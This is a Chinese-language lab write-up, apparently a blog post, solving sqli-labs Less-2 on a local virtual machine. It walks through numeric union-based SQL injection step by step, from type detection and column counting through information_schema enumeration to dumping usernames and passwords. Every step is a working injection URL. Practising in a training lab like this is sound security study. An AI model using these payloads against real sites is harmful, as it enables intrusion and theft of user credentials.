sqli-labs靶场第二关less-2

sqli-labs靶场第二关less-2

本次测试在虚拟机搭建靶场,从主机测试

1、输入?id=1和?id=2发现有不同的页面回显

2、判断注入类型

http://192.168.128.3/sq/Less-2/?id=1'

从回显判断多一个' ,预测可能是数字型注入

输入

http://192.168.128.3/sq/Less-2/?id=1 and 1=1

http://192.168.128.3/sq/Less-2/?id=1 and 1=2

发现and 1=1 正常回显,and 1=2 回显错误,确定数字型注入

3、确定列数

http://192.168.128.3/sq/Less-2/?id=1 group by 5

http://192.168.128.3/sq/Less-2/?id=1 group by 4

http://192.168.128.3/sq/Less-2/?id=1 group by 3

group by 3 的时候回显正常,确定有三列。

4、确定回显位

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,2,3

2.3位为回显位

5、查询数据库名和版本

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,database(),version()

6、爆出数据库名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata

7、爆出表名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'

8、爆出列名

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'

9、爆出数据

http://192.168.128.3/sq/Less-2/?id=-1 union select 1,group_concat(username,'~',password),3 from security.users

** 大功告成**

相关推荐
Elastic 中国社区官方博客16 小时前
用于 IntelliJ IDEA 的新 ES|QL 插件
java·大数据·数据库·ide·elasticsearch·搜索引擎·intellij-idea
疯狂成瘾者16 小时前
LangChain Middleware 技术解析:从“插槽机制”到 Agent 运行时控制
数据库·python·langchain
七夜zippoe16 小时前
OpenClaw 飞书深度集成:多维表格
数据库·算法·飞书·集成·openclaw
A-刘晨阳16 小时前
当数据学会“秒回“:工业4.0时代的实时计算革命
开发语言·数据库·perl
2201_7568473316 小时前
如何设置备库只接日志不应用_暂停MRP且维持网络传输的方法
jvm·数据库·python
dualven_in_csdn16 小时前
EMQX 开启 **MySQL + password_based** 认证
android·数据库·mysql
Jul1en_16 小时前
【Redis】单线程模型
数据库·redis·缓存
Arva .17 小时前
Spring 事务传播机制 速记
java·数据库·spring
hef28817 小时前
如何查找SQL字符串中字符数_掌握CHAR_LENGTH应用
jvm·数据库·python
木心术117 小时前
Web安全攻防实战:常见漏洞分析与防御策略
网络·数据库·web安全